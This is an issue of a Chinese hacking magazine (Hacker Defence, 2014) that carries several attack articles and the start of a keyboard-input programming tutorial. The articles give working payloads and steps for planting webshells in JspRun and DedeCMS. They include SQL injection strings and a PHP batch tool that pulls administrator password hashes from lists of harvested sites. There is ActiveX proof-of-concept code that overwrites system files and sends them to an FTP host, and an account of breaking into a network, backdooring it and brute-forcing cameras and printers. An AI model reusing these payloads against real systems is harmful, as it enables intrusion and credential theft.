
 

HACKER DEFENCE◆1◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



《黑客防线》3 期文章目录 

                                     总第 159 期 2014 年 

 

 

漏洞攻防 
JspRun！后台获取 webshell（simeon）………………………………………3 

惊爆深圳住房公积金网站打印控件 0Day 漏洞（爱无言）……………6 

记一次内网探索（独猫）………………………………………………11 

DedeCMS 全版本通杀 SQL 注入漏洞利用（Simeon）……………………16 

 

 

编程解析 
Raw Input及键盘过滤实现多键盘输入选择性控制（倪程）…………22 

利用密码过滤器拦截添加用户（李旭昇）……………………………27 

瞒天过海加载“未签名”驱动（李旭昇）……………………………29 

Java 实现 Web 后台弱口令暴力破解（倒霉蛋儿）……………………31 

Windows 中的跨进程数据操作（王晓松）………………………………45 

 

 

Android 远程监控技术 
Android系统端口扫描器编写初探（马智超）…………………………49 

 

2014 年第 4 期杂志特约选题征稿……………………………………53 

2014 年征稿启示 ……………………………………………………56 

HACKER DEFENCE◆2◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



 

JspRun！后台获取 webshell 

文/图 simeon 

JspRun！是北京飞速创想科技有限公司推出的一套通用社区论坛软件系统，用户可以在

不需要任何编程的基础上，通过简单的设置和安装，在互联网上搭建起具备完善功能、很强

负载能力和可高度定制的论坛服务。JspRun!的基础架构采用世界上最先进流行的 web 编程

组合 JAVA+MySQL 实现，是一个经过完善设计，适用于各种服务器环境的高效论坛系统解决

方案。系统采用 struts、hibernate 框架及中间件的结合，既实现了业务逻辑与控制逻辑的有

效分离，提高了层次结构的清晰度，提高了复用的粒度，降低了开发代价和维护代价，同时

保证了软件的质量，使其更具有鲁棒性和可维护性。它可以运行在 Windows 环境下，也可

以运行在 Linux 环境下，具备跨平台特性，可以运行于 Linux/FreeBSD/Unix/SunOS 及微软

Windows 2000/2003 等各种操作系统环境下。网上提供一键安装 Linux 和 Windows 版本，官

方网站 www.jsprun.com，通过实际使用，其基本是模仿 Discuz！论坛风格。目前网上也有大

量的用户使用该程序来搭建社区论坛等应用。 

本文主要就如何在获取管理员的情况下获得 Webshell，关于如何获得管理员的密码不在

本文讨论的范围。下面就具体介绍如何在获得管理员帐号的情况下获得 Webshell。 

 

进入系统后台 

登录后台成功后，单击“论坛管理”进入系统设置首页，如图 1 所示。JspRun！论坛程

序可以直接输入后台管理地址（http://www.somesite.com/admincp.jsp）进行登录，与 Discuz！

论坛管理稍微有些区别。 

 

 

图 1 进入后台设置 

 

通过“模板编辑”增加新的模板 

    在系统设置首页中，单击“模板编辑”，可以看到系统默认的五套模板：默认模板套系、

喝彩奥运、深邃永恒、粉状精灵和 2008year，在最后新增一套模板，模板名称可以随意取，

在本例中取名为“111”，所在目录设置为已经存在的目录“./include”，然后单击“提交”

完成模板编辑。如图 2 所示。 
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图 2 创建新模板 

    

在模板中创建新的文件 

    在模板维护中可以看到有绿色字体显示的“jsprun_version”以及“test”，单击该项目可

以进行编辑，也可以新增模板文件，如图 3 所示，输入模板名称为“shell”，单击“提交”，

并在 shell 模板文件中粘贴 shell 文件中的代码，保存后即可获取 shell。 

 

图 3 新增模板文件 shell 

 

测试并访问 shell 

    Shell 地址跟模板目录有关，地址为网站地址+模板目录+模板文件名称，如图 4 和图 5

所示。本例中的 shell 地址为“http://www.somesite.com/include/shell.php”。如果出现文件访

问出错信息，有可能是代码文件存在问题，建议使用“jsp File Browser”文件管理器。 
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图 4 shell 文件的真实地址 

 

图 5 获取 webshell 

  

JspRun!论坛其它相关漏洞 

    根据网上公布的漏洞线索，JspRun!论坛管理后台的 export 变量没有过滤，直接进入查

询语句，导致进行后台，可以操作数据库，获取系统权限。在处理后台提交的文件中

ForumManageAction.java 第 1940 行： 

 

String export = request.getParameter("export");//直接获取，没有安全过滤 

if(export!=null){ 

List<Map<String,String>> styles=dataBaseService.executeQuery("SELECT s.name, 

s.templateid, t.name AS tplname, t.directory, t.copyright FROM jrun_styles s LEFT JOIN 

jrun_templates t ON t.templateid=s.templateid WHERE styleid='"+export+"'");//进入查询语，执

行了... 

if(styles==null||styles.size()==0){ 

 

 测试方法：http://www.somesite.com/admincp.jsp?action=styles&export=1' and 1=2 union 

select 1,2,3,4,user()-- and ''=' 

    笔者就 JspRun！论坛 2010 版本程序进行实际测试，在测试过程中遇到两种情况，一种

情况是提示用户无管理权限，拒绝执行；另外一种情况则是下载一个 style 文件。文件内容

如图 6 所示。 
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图 6 Style 文件内容 

 

总结与思考 

（1）Windows 以及 Linux 平台搭建的 JspRun！论坛程序，如果权限设置的不严格，可

以较为容易拿到最高系统权限，即通过 Webshell 直接添加用户或者执行 system 命令。 

（2）后台管理员密码可以有四种方式获取，一种是给管理员发木马，中马后查看键盘

记录即可获取；第二种是嗅探，同网段对管理员帐号进行嗅探；第三种通过 xss，通过构建

跨站漏洞，获取管理员密码；第四种是社工，通过了解管理员的信息，通过社工库查询，甚

至通过社工直接获取都有可能。 

                                                                                 

惊爆深圳住房公积金网站打印控件 0Day 漏洞 

文/图 爱无言 

 谈到买房的贷款问题，相信很多人都会有此经历，房奴的日子确实不好过，但是如果你

有住房公积金，那么在贷款方面将会受益匪浅。对于深圳地区的读者来说，如果你需要采用

住房公积金方式来说贷款，或者处理有关住房公积金的事宜时，你可能就需要访问“深圳住

房公积金”官方网站了。 

 “深圳住房公积金”官方网站提供了多项有关公积金的服务，其中最多就是有关公民买

房数据信息的录入，这与普通的办公网络系统一样，也就是类似于 OA 系统。需要买房的公

民可以直接在网站系统上进行相关信息填写，然后可以在线打印出自己所填写的表格。在进

行这些操作时，我们需要在系统中安装一个由“深圳住房公积金”官方网站提供的打印控件，

名为“hbsetup.exe”。通过查看该文件的文件属性，发现该控件就是北京用友华表软件技术

有限公司制作的控件程序。 

 选择安装该控件之后，我们使用 COMRaider发现系统中被安装了一个名为 CellWeb5.ocx

的文件，该文件属于 ActiveX 控件，利用 COMRaider 查看该控件提供的所有接口，如图 1

所示。 
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图 1 

 从图中可以看出，CellWeb5.ocx 提供的外部接口数量十分多，这对我们来说是一个好

消息，因为这意味着我们将会有更多的可能性来发现安全漏洞。 

 现在，我们开始针对 CellWeb5.ocx 进行安全测试，首先测试的外部接口是

“SaveAsFile”，从名字上分析，“SaveAsFile”是用来保存文件的，中文翻译过来就是所谓

的“另存为”。测试用的代码如下： 

 

<OBJECT id="test" 

classid="clsid:3F166327-8030-4881-8BD2-EA25350E574A" ></OBJECT> 

<script> 

test.SaveAsFile("c:\\boot.ini",1); 

</script> 

 

 保存上述代码为 ax.htm，将其放置在本地搭建的 Web 环境下。这里我们首先申明一下，

用来做测试的系统是 Windows XP，该系统工作在虚拟机当中，而用来测试的 Web 环境则被

放置在真实系统当中。 

 在 ax.htm 中，我们试图调用“SaveAsFile”接口，向其传递两个参数，其中最为关键

的是第一个参数，它代表了将当前表格保存为具体的文件完整名称。我们在这里将其赋值为

“c:\boot.ini”，这样做会有什么效果呢？在 Windows XP系统中，使用 IE浏览器访问 ax.htm

文件，结果如图 2 所示。 

 

图 2 

 在浏览器访问 ax.htm 文件后，发现当前系统中的 boot.ini 文件真的被修改了，原始的

boot.ini 文件只有 1KB大小，而现在却成了 5KB，如果你用记事本打开现在的这个 boot.ini
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文件，就会发现全是乱码，最要命的是，如果你现在重启了 Windows XP 系统，会发现根本

无法进入系统了！这意味着，我们可以借助“SaveAsFile”接口来覆盖用户系统当中的重要

文件，造成对用户系统的致命破坏。 

 测试完“SaveAsFile”接口，我们开始测试“SetCellHyperLink”这个接口。从字面上

分析，它可以用来在当前表格中创建超级链接。为此，我们重新修改了 ax.htm，其代码如

下： 

 

<OBJECT id="test" classid="clsid:3F166327-8030-4881-8BD2-EA25350E574A" 

width=800 height=800> 

</OBJECT> 

<script> 

test.SetCellHyperLink(1,1,0," 点 击 这 里

","file:\\\\c:\\windows\\system32\\cmd.exe","获得最新数据"); 

</script> 

 

 请大家注意，首先，我们在“object”标签中，设定了 width 和 height 属性，这样做

的目的是为了能够让被测试的这个表格控件在网页中创建出表格样式，只有表格能够显示出

现了，我们才能看到其上显示的超级链接。“SetCellHyperLink”有 6 个参数，其意义分别

代表表格的哪一行、哪一列、第几个表格、超级链接文字、超级链接目的地址、超级链接浮

动文字。我们此刻将超级链接的目的地址指向本地系统当中的 cmd.exe 程序，接下来你就会

看到这么做的意义了。 

 用 Windows XP 系统当中的 IE 浏览器再次访问 ax.htm 文件，效果如图 3 所示。 

 

图 3 

 可以看到浏览器显示出一个表格，其第一个空格中有一个名为“点击这里”的超级链接，

现在我们点击该链接看看有什么效果，如图 4所示。 
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图 4 

 很神奇对不对？cmd.exe程序竟然被运行了！这意味着利用该接口我们可以诱骗用户执

行本地系统当中的任意程序，危害可想而知。如果某个恶意攻击者能够成功进入“深圳住房

公积金”官方网站，然后设定一个页面要求用户在线填写一个表格，在创建这个表格时，恶

意攻击者就可以设定一个超级链接指向用户系统当中的某个程序，一旦用户点击了表格中的

超级链接，该程序就会被立即执行，从而实现远程启动用户系统当中的任意程序。 

 如果说上面的两个漏洞还不够刺激，那么下面要说到的这个漏洞可就非常有价值了。对

于恶意攻击者来说，进行远程攻击的目的之一就是为了能够远程获取用户系统当中的指定文

件内容。现在，我们可以借助 CellWeb5.ocx 控件来帮助我们实现这个目的。 

 在 CellWeb5.ocx 控件提供的众多接口中，其中有两个接口让我们十分感兴趣，分别是

“ImportCSVFile”和“ExportFTPFile”。“ImportCSVFile”的用意从一个 CSV 文件中读取

数据，然后显示在当前表格中，而“ExportFTPFile”的用意是将当前表格导出到指定 FTP

上。如果将这两个方法结合起来，将会实现远程读取用户系统当中的任意指定文件，测试代

码如下所示： 

 

<OBJECT id="test" classid="clsid:3F166327-8030-4881-8BD2-EA25350E574A" 

width=800 height=800> 

</OBJECT> 

<script> 

test.ImportCSVFile("c:\\boot.ini",0); 

test.ExportFTPFile("ftp://192.168.1.58/boot.ini",21,"anonymous",""); 

</script> 

 

 通过 Windows XP 系统中的 IE 浏览器访问新的测试网页，结果如图 5 所示。 
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图 5 

 从图 5 中我们可以看到浏览器中的表格中已经显示出了当前系统中的 boot.ini 内容，

那么远程的 FTP 服务器上有没有被成功上传该 boot.ini 文件呢？如图 6 所示。 

 

图 6 

 从图中我们看到，远程的 FTP 服务器上真的被成功上传了一个名为“boot.ini”的文件，

只不过该文件属于该控件的表格类型文件，其实，我们可以直接使用记事本打开该文件，可

以看到在该表格文件中真的包含了用户系统当中的 boot.ini 文件内容。由此证明，借助

CellWeb5.ocx 控件，我们确实可以实现远程获取用户系统当中任意指定文件的内容，这不

得不说是一个严重的安全威胁。 

 通过以上的测试分析可以看出，CellWeb5.ocx 控件存在诸多安全隐患，为此，我们希

望该控件的编写者北京用友华表软件技术有限公司能够及时修补以上安全漏洞，也希望“深
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圳住房公积金”官方网站能够停止该控件的下载安装服务，以免造成更多的用户受到该控件

漏洞的不良影响。本文旨在讨论安全技术，请读者不要借助本文内容进行任何违法行为，作

者和杂志概不负责。 
                                                                                 

记一次内网探索 

文/图 独猫 

一天无聊浏览了某个网站，乍一看没看出来是什么 CMS，到处逛逛看看把。找到一个

数字型错误，id=80-1 和 id=79 一样，但是看报错是过滤了 ’ 和 “ ，再尝试其他的，发现基

本上语句全都过滤了。不过这里知道了一个表名：Tb_product，如图 1 所示。 

 
图 1 

一时断掉后尝试旁注，结果发现整个网段只有这个 IP，旁注无路。 

搜索这个网站的其他信息，结果在谷歌第三页上发现了一个论坛，是该网站的子目录下

的 www.a.cn/forum/faq.php，discuz。打开后发现是 discuz7.1，必须登录才可查看内容。而

且记得 discuz7.x 的漏洞必须都得是注册用户才可。正准备去注册，却发现无法注册，需要

管理员手工审核才可注册成功（如图 2），而且内部论坛不见得能通过注册。看样没有办法

了，无奈再次找其他方法。 

 

图 2 

继续 Google hack，在十几页之后找到了另一个有价值的目录 www.a.cn/bbs/index.php，
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打开后，发现最近更新都是 4 年前，如果能有利用的漏洞就好了（如图 3）。看信息之后确

定是 bbpress 搭建的论坛（Wordpresss 旗下的一个子项目）。 

 

图 3 

搜索相应漏洞，在 sebug 上有一个 csrf 获得管理员权限的，bbpress v1.0.2 的。再回到

a.cn，右键查看源码，也是 1.0.2 的，正好！ 

为了防止无法注册等意外的发生，先自己搭建一个这个平台试试。正在搭建的最后一步，

发现一个很尴尬的问题，没有默认密码，而是机器生成的默认密码，强悍程度不忍直视。心

里寒了一下，又继续操作，如图 4 所示。 

 

图 4 

搭建完成后，因为漏洞是 csrf，还得再注册一个普通帐号，结果注册的时候不断提示用

户名/邮箱已经存在（我自己搭建的论坛哪有存在！），如图 5 所示。 

 

图 5 
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一气之下直接去 phpMyadmn 复制一条记录，等进到 phpMyadmn 却发现已经存在记录

了。（逗我呢？！）赶紧登录却发现没有密码，记起来是发到我邮箱里了，但是邮箱里却没有

收到密码。忽然想起我本地没配置过邮箱服务啊（原来正是没有配置邮箱导致密码发送不成

功，导致了论坛程序乱出错误）。进入 phpMyadmn 将 admin 的加密密码覆盖到我自己的用

户名上，成功登录。 

再尝试下 exp，看起来这个 exp 长得有点奇怪啊？（是根本语法就不对啊！）再次在另

一个网站上找到了看起来正常的 exp。对比下，原来是网站安全起见，将\\转义为\，\”转义

为”，然后组成\”转义为”，在输出的时候出现了问题。（这样式像是传说中的宽字节注入？）

再次利用 exp，试了半天，却没有成功，然后看了下源码，各种函数跳转，太复杂也就没再

继续下去，这条路又不通了，如图 6 所示。 

 

图 6 

就在无可奈何的时候，忽然想到了一个在乌云最近挺火的 discuz 转换升级漏洞，正好目

标是 discuz7.x 系列，不用注册用户（http://drops.wooyun.org/papers/929）。尝试

post 提交，然后菜刀连接之，成功连接！如图 7 所示。 

 

图 7 

转到 C 盘成功，新建文件夹成功，看起来权限很高。然后 phpinfo 看了下 mysql 版本，

翻遍整个网站找到了几条 mysql 用户名密码，其中就有 root 权限的（如图 8），然后 UDF 提

权成功。赶紧添加个后门，开了代理。本来就该结束了的，可是在代理连接时发现处于一个

192.168.*.*的内网中。再来扫了一下内网看看，却发现还有几个 80 端口开放的。打开之，

发现是网络摄像头，这一下又提起了我的兴趣，如图 9 所示。 
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图 8 

图 9 

因为 ActiveX 原因，换到 XP+IE6 虚拟机中打开。试了下 admin 没成功，然后尝试查找默

认密码。由于网站页面没有任何版权信息，所以右键查看源码，找到了 ClassId 这一项，然

后到 C:\WINDOWS\Downloaded Program Files 里，挨个右键属性查找 ID 相符的一项，如图 10

所示。 

图 10 

根据该文件的其他公司信息，成功找到默认密码 admin 和 012345。确实比 admin 安全
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点。注意，这里是没法用 burp 来进行爆破的，因为用 ActiveX 插件进行通信，所以 burp 是

拦截不到数据包的。 

登录进去之后，发现只有两个摄像头能工作，不过也挺有意思的，如图 11 所示。 

 

图 11 

忽 然 想 起 来 这 个 摄 像 头 监 控 平 台 好 像 和 乌 云 上 看 过 的 一 个 帖 子 相 似

（http://wooyun.org/bugs/wooyun-2013-047371），这个平台还有对应的 telnet 功

能。尝试连接，成功，如图 12 所示。 

 

图 12 

还有另一个 80 端口的机器，192.168.0.110，打开后发现为打印机的网络管理页面（记

得前几年就提及打印机内部存储会有很多敏感文件）。尝试登录，还是密码错误，然后尝试

爆破。Burp 拦截数据包发现是在 http 头里添加了认证信息，如图 13 所示，经过 base64 解
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密后，发现是 admin:123456 这种形式的数据，burp 构造好 intruder，简单几分钟后，得到

密码 admin 和 admin123。 

 

图 13 

最后倒腾了几下，发现了一部分存留文档，多是写工作报告规划之类的东西，想想如果

对于商业利益，这将会是很大的隐患。对于这些非传统电子设备的开放，我们对之了解的还

太少，主要原因是平台的不统一和发现难度高。但对于真正的商业关系，这恐怕会是重点攻

克对象吧！ 

通知了管理员，也就结束了本次旅程。最后比较有收获的就是搞定摄像头进去看了看，

前期太过多磨，后期就比较顺利了。 

                                                                                 

DedeCMS 全版本通杀 SQL 注入漏洞利用 

文/图 Simeon 

 Dedecms 即织梦（PHP 开源网站内容管理系统，http://www.dedecms.com/）是目前著名

的网站内容管理之一。以简单、实用、开源而闻名，是国内最知名的 PHP 开源网站管理系

统，也是用户最多的 PHP 类 CMS 系统。近日，网友在 Dedecms 中发现了全版本通杀的 SQL

注入漏洞，目前官方最新版已修复该漏洞，针对该漏洞，网友们充分发挥聪明才智，给出了

好几个版本，下面对这个漏洞的利用和实战等情况进行讨论和分析，欢迎进行拍砖！ 

 

漏洞分析 

1）比较漏洞文件 

 通过 Dedecms 下载站点 http://updatenew.dedecms.com/base-v57/package/，下载补丁文

件 patch-v57&v57sp1-20140228.zip，通过其更新文件说明可以看到主要更新的文件如下： 

 dede/config.php, 更新 cookies 加密密码 

 include/helpers/channelunit.helper.php, 禁用标签提示 

 include/uploadsafe.inc.php, 可能导致 SQL 注入漏洞修复 

 member/soft_edit.php, 文件上传过滤 

   通过文件分析工具，对早期版本和更新的补丁进行比对，如图 1 所示，发现修改代码如

下： 

//***** 修补后.php 

} 

//$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", 

$_FILES[$_key]['tmp_name']); 

$$_key = $_FILES[$_key]['tmp_name'] = $_FILES[$_key]['tmp_name']; 

${$_key.'_name'} = $_FILES[$_key]['name']; 

//***** 修补前.PHP 

} 
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$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", 

$_FILES[$_key]['tmp_name']); 

//吧$_FILES[$_key]['tmp_name']里面的\\\\替换为\\ 

${$_key.'_name'} = $_FILES[$_key]['name']; 

 
图 1 对比分析代码 

2）漏洞利用分析 

 str_replace 替换是本次出现 SQL 注入的关键，但是$_FILES[$_key]['tmp_name']是 PHP 系

统生成的随机变量，默认不可控。结合“include/common.inc.php”文件中的代码，只要变

量名不含 cfg_|GLOBALS|_GET|_POST|_COOKIE 就可以，利用上面的代码可以覆盖$_FILES，

同时利用代码：$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", 

$_FILES[$_key]['tmp_name']);。 

3）漏洞利用代码 

 可利用代码 1： 

 plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'  or mid=@`\'` 

/*!50000union*//*!50000select*/1,2,3,(select 

CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` 

limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-s

tream&_FILES[type][size]=6873 

 可利用代码 2： 

 plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_

FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_c

oncat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23 

 可利用代码 3： 

plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\\

%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from

+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.jpg&_FILES[type

][type]=application/octet-stream&_FILES[type][size]=4294 

可利用代码 4： 

plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' 

or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select   

CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`  

limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type] 

[type]=application/octet-stream&_FILES[type][size]=111 

网上还有人根据漏洞利用方式开发出来一款漏洞利用工具，将网站地址输入利用工具，

即可以获取管理员的密码，实际使用效果如图 2 所示。该工具仅仅对漏洞中的一种情况进行

了利用，对某些实际存在的漏洞无法利用，且只能获取一个账号信息。 
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图 2 DedeCMs SQL 注入漏洞利用工具 

4）利用方式探讨 

对于 DedeCMS 而言，只要获取了最高管理员权限，通过文件管理器，可以快捷方便的

获取 Webshell，也即通过新建文件，或者编辑 PHP 文件均可获取 webshell。但 DedeCMS 在

安装时默认后台管理地址为“http://www.somesite.com/dede”，实际安装过程出于安全考虑，

一般都会修改默认后台，因此即使获取了管理员密码也可能无法获取网站权限。因此，本次

漏洞利用思路如下： 

①通过 google 搜索获取 dedecms 后台地址； 

②通过 recommend.php 页面 SQL 注入获取管理密码； 

③登录后台获取 Webshell。 

 

实际漏洞利用 

1）利用 google 搜索 dedecms 标识 

在 google 浏览器中搜索“Powered by DedeCMSV57_GBK_SP1 ©  2004-2011 DesDev Inc.”，

如图 3 所示，获取 49 条搜索记录。在使用 google 搜索时，可以设置显示结果为 100，便于

对结果进行整理。 

 

图 3 利用 google 搜索 dedecms 标识 

2）手动获取管理员密码 

 在 Google 搜索结果中随机选择一个网站地址，打开网站后，在其网站地址后面加入

“/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FI

LES[type][tmp_name]=aa\%27and+char(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,gro

up_concat(userid,0x23,pwd),5,6,7,8,9%20from%20`%23@__admin`%23”，即可获取管理员的帐

号和密码信息，如图 4 所示。 
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图 4 测试 SQL 注入点 

3）对管理员密码破解 

在本例中获取了三个帐号和密码信息，spider#f297a57a5a743894a0e4、

3dsk#eed756463edea1f021db 和 admina#f297a57a5a743894a0e4。“#”后为密码，去掉前三

位和最后一位，获取的字符串即为 MD5 密码。例如 spider 的密码为“7a57a5a743894a0e”；

admina 密码为“7a57a5a743894a0e”，破解后为“admin”，如图 5 所示，复杂密码可以在

cmd5.com 网站进行查询。 

 

图 5 破解管理员密码 

4）登录后台并获取 webshell 

找到后台管理地址后，输入获取的管理员和密码，进入后台管理系统，获取的帐号必须

是最高管理员权限，然后单击“附件管理”-“文件式管理器”，如图 6 所示，新建一个文件，

加入一句话代码，保存即可获取一句话后门。使用菜刀一句话对该 webshell 进行测试，如

图 7 所示，顺利获取该网站的 webshell。 

 

图 6 插入一句话后门 
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图 7 获取 webshell 

5）批量获取管理员密码 

网友“Sunshie”写了一个 DEDECMS 批量利用工具，其源代码如下： 

 

<?php 

print_r( 

" 

+------------------------------------+ 

DEDECMS 批量利用工具 

By :Sunshie 

Usage: $argv[0] Filename 

Example: php.exe $argv[0] url.txt 

url.txt 是你采集的网址文件！ 

+------------------------------------+ 

\r\n\r\n\r\n" 

); 

$filename=$argv[1]; 

if(!file_exists($filename)) echo "o(╯□╰)o 你妹的 你采集的文件呢？\r\n"; 

$conts = file_get_contents($filename); 

$arrConts = explode("\n",$conts); 

$arrConts=str_replace(" ","",$arrConts); 

$arrConts=str_replace("\r","",$arrConts); 

$arrConts=str_replace("\n","",$arrConts); 

//print_r($arrConts ); 

for($i=0;isset($arrConts[$i]);$i++){ 

echo fuckdede($arrConts[$i]); 

} 

 

function fuckdede($sb){ 

$sb=str_replace("http://","",$sb); 

$expp="http://".$sb."/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]

&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000S

eLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633

E),5,6,7,8,9%20from%20`%23@__admin`%23"; 

$exp=@file_get_contents($expp); 

eregi("_<abc>(.*)</abc>_", $exp, $arr); 
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$exploit=str_replace("_<abc>", "==fuck", $arr[0]); 

$exploit=str_replace("</abc>_", "fuck==", $exploit); 

return "网址:".$sb."注入结果 :".$exploit."\r\n--------------------------\r\n"; 

} 

?> 

利用方法为：通过网络搜集 dedecms 网站网址，将网站网址整理成 url.txt，然后执行命

令：php dedecms url.txt，执行后即可获取存在漏洞的网站管理员信息，如图 8 所示。 

 
图 8 批量获取管理员密码 

6）漏洞修复方法探讨  

关于漏洞修复，笔者认为有以下几个方法： 

①升级程序到最新版本。下载最新补丁进行更新是最快捷的方法。补丁下载地址为：

http://updatenew.dedecms.com/base-v57/package/。 

②隐藏后台登陆地址，对后台地址进行变异性更改，例如“decms_2013_tx_fx_x”，目

地是无法通过猜测和扫描获取。 

③设置搞强度密码，将最高权限管理员密码设置为 15 位（大小写字母+数字+特殊字符）

以上，增加破解难度。 

④加入免费安全防范软件，例如在网站加入安全宝、360 安全防护、安全狗等。 

⑤定期关注安全站点漏洞信息，定期对站点进行维护和检查。 

 

（完） 

HACKER DEFENCE◆21◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



 

Raw Input 及键盘过滤 

实现多键盘输入选择性控制 

文/图 倪程 成都工业职业技术学校 

系统连接多个键盘设备时，可能需要使用某个键盘作为标准输入，另一个键盘用作其他

特殊任务。比如，当打开记事本后，按下键盘 1 上的字母 a键，你希望其写入记事本，而敲

击键盘 2 上的 a 键时，记事本上并没有记录字母 a，取而代之的是通知后台执行某一特殊任

务。如何控制键盘输入并根据键盘的输入信息决定下一步的动作或者任务，可能很多读者知

道可以采用键盘过滤钩子技术实现，通过 Windows 自带的 APIs 函数或者通过自定义驱动的

方式均可实现键盘过滤，然而如何判断键盘消息来自哪个键盘设备，键盘过滤技术是无法做

到的，系统是否有方法可以甄别来自两个不同设备的输入，Raw Input 技术即可实现在不查

找和打开输入设备的情况下，甄别来自两个不同设备的输入并准确获取输入数据。本文将结

合原始输入及键盘过滤技术实现多键盘输入的选择性控制。 

 

Raw Input 技术获取特定设备的原始输入 

应用程序想获取原始数据，则必须注册其想要获取原始输入的那些设备。为了注册这个

设备，应用程序首先必须创建一个指明其所希望接受设备类别的（top level collection

—TLC）RAWINPUTDEVICE 结构。TLC 被定义成为 UsagePage（设备类）和 Usage（设备类内的

具体设备）。例如，为了从键盘获取原始输入，设置 UsagePage = 1 and Usage = 6，应用

程序调用 RegisterRawInputDevice 完成设备注册。 

 

// 注册原始输入设备 

RAWINPUTDEVICE rawInputDevice[1]; 

rawInputDevice[0].usUsagePage = 1; 

rawInputDevice[0].usUsage = 6; 

rawInputDevice[0].dwFlags = RIDEV_INPUTSINK; 

rawInputDevice[0].hwndTarget = hWnd; 

RegisterRawInputDevices (rawInputDevice, 1, sizeof (rawInputDevice[0])); 
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rawInputDevice[0].dwFlags = RIDEV_INPUTSINK 意味着即使某窗口失去焦点位置，仍

然会一直接收输入消息，这使得多个窗口可分别响应来自不同键盘的事件。当设备注册成功

后，应用程序的消息队列就会得到一个 WM_INPUT 消息，然后再调用 GetRawInputData 函数

处理原始输入数据。 

GetRawInputData 函数共包含 5 个参数： 

 hRawInput：WM_INPUT 消息的 lParam参数地址 

 command：获取原始输入数据或者 RAWINPUT 结构体头信息标志，为了获取原始信息，

此标记设置为 RID_INPUT 

 pData：若设置为 NULL，则表示原始数据缓冲区大小，不然则是一个指定大小的缓

冲区地址，用以存放原始数据信息 

 size：返回即数据缓冲区大小 

 sizeHeader：RAWINPUTHEADER 结构体大小 

下面给出的部分代码即通过上述函数读取原始数据信息并输出。 

 

GetRawInputData ((HRAWINPUT)lParam, RID_INPUT, NULL, &bufferSize, sizeof 

(RAWINPUTHEADER)); 

LPBYTE dataBuffer = new BYTE[bufferSize]; //分配指定的缓冲区大小 

// 获取原始输入数据，读入 dataBuffer 

GetRawInputData((HRAWINPUT)lParam, RID_INPUT, dataBuffer, &bufferSize, sizeof 

(RAWINPUTHEADER)); 

RAWINPUT* raw = (RAWINPUT*)dataBuffer; 

// Get the virtual key code of the key and report it 

USHORT virtualKeyCode = raw->data.keyboard.VKey; 

USHORT keyPressed = raw->data.keyboard.Flags& RI_KEY_BREAK ?0 : 1; 

WCHAR text[128]; 

swprintf_s (text, 128, L"Raw Input: %X (%d)\n", virtualKeyCode, keyPressed); 

 

 通过上面的代码，我们已经获取到了设备输出的原始信息。下面我们需要通过函数

GetRawInputDeviceInfo来判断输出的原始信息来自哪个键盘设备。现假设按下的键为数字

键盘值 7 且来自设备 A时，拦截此信息即不写入记事本，具体代码如下： 
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// 为键盘设备名准备缓冲区大小 

GetRawInputDeviceInfo (raw->header.hDevice, RIDI_DEVICENAME, NULL, 

&bufferSize); 

WCHAR* stringBuffer = newWCHAR[bufferSize]; 

// 将设备名读入缓冲区 stringBuffer 

GetRawInputDeviceInfo (raw->header.hDevice, RIDI_DEVICENAME, stringBuffer, 

&bufferSize); 

// 判断读入的值是否符合下述规则 

if (virtualKeyCode == 0x67 &&wcscmp (stringBuffer, L"A") == 0) 

 blockNextHook = TRUE; 

else 

 blockNextHook = FALSE; 

 

键盘钩子 APIs 实现消息拦截 

借助 SetWindowsHookEx 函数实现消息的拦截，SetWindowsHookEx 函数带 4个参数，第

一个参数指定钩子的类型，本文设置为 WH_KEYBOARD；第二参数为钩子函数的入口地址；第

三个参数为函数所在模块的句柄；第四个参数指定 hook 目的线程，这里设置为 0，即拦截

整个系统消息。 

通过钩子函数 KeyboardProc(int code, WPARAM wParam, LPARAM lParam)捕获键盘消

息，再调用 SendMessage (hwndServer, WM_HOOK, wParam, lParam)函数将键盘消息送到主

窗口程序，其中返回的 code 值若是一个大于或等于零得值，则表示发生了正常的键盘事件，

wParam和 lParam分别存键盘虚拟码及键被按下还是松开，以及是否按下的键是一个系统键。 

 

case WM_HOOK: 

{ 

 if (blockNextHook){ 

  swprintf_s (text, 128, L"Keyboard event: %X (%d) is being blocked!\n", 

  virtualKeyCode, keyPressed); 

  OutputDebugString (text); 
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  return1;} 

} 

 

Raw Input 及键盘过滤组合技术 

由上述分析可知，在窗口类中注册原始输入设备并启动键盘钩子函数，使其分别向窗口

类的过程处理函数 WndProc()发送 WM_INPUT、WM_HOOK 消息，函数 WndProc()根据消息类别

分别进行各自处理，WM_IPUT决定是否将此按键消息写入记事本，而WM_HOOK则根据WM_INPUT

的处理结果决定是否进行消息过滤。显然，上述代码是在比较理想化的情况下才能很好地完

